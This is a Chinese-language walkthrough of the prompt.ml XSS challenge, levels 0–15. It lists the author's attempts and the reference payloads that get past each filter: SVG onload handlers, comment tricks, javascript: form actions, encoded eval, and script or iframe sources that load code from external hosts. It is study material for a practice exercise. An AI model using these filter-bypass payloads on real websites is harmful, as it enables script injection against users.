prompt.ml 练习
level0
这是一个很典型的利用 HTML 属性的题目。-。- 但是逗比如我的,跑上来直接来了个 " onload="prompt(1)
。
囧。。。。后面我查了下资料发觉 input 没有 onload 事件。。。。。。。于是另想它法:"><img src='xx.png' onerror="prompt(1)
,然后又看了下参考答案"><svg/onload=prompt(1)>
,参考答案里还提到一个适用于 IE10(及之前的)
的解决方案,IE10 在加载页面后几乎对所元素都会触发 resize 事件。所以还能这么玩 "onresize=prompt(1)>
level1
这题对 <\/?[^>]+> 这些符号做了过滤,然后我尝试着写了 "><img src='xx.png' onerror="prompt(1)
,然后 0.0 居然就过了。参考答案是 <svg/onload=prompt(1)
level2
这题居然把 等号 和 左边的括号也过滤了。。。。。几经尝试后,我表示无解看了参考答案: <svg><script>prompt(1)</script>
啊哈,我终于明白为什么这么喜欢用 SVG 了。这题利用了 SVG 的 XML-ish 特性。SVG 中的实体都会被解析出来。
level3
= = HTML5 中 --!>
也能表示注释结束。 参考答案:--!><svg/onload=prompt(1)
level4
参考答案://prompt.ml%2f@ᄒ.ws/✌
我这边无法验证。
level5
这题算是第一题的威力加强版,把 ‘>’ 和 onEvent= 都给过滤了。第一想法是利用换行来规避 onEvent= 的过滤,然后就没有然后了。。。。看了参考答案:
"type=image src onerror
="prompt(1)
可以覆盖 type 把它变成一个 img 类型,然后 src 报错即可。
level6
参考答案:javascript:prompt(1)#{"action":1}
原来 form 里的 action 也能执行 JavaScript 代码。
level7
参考答案是:
”><svg/a=#”onload=’/#/prompt(1)’
在第一段闭合了 p 标签并创立自己的新标签及属性,在第二段注释掉多余内容并监听load事件,在最后一段prompt(1)。
level8
通过特殊符号来实现的,参考答案:[U+2028]prompt(1)[U+2028]-->
-。- 我无法验证通过。
http://tools.jb51.net/table/javascript_escape
level9
参考答案:<ſcript/ſrc=//⒕₨></ſcript>
= = 我还是没法验证。
level10
= = 这道题好萌啊。。。。。 p'rompt(1)
level11
"(prompt(1))in"
level12
使用 base30 encode 。eval(630038579..toString(30))(1)
level13
levev14
利用 base64 火狐识别大写 BASE64
"><IFRAME/SRC="x:text/html;base64,ICA8U0NSSVBUIC8KU1JDCSA9SFRUUFM6UE1UMS5NTD4JPC9TQ1JJUFQJPD4=
level15
level 7 的升级版
"><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script>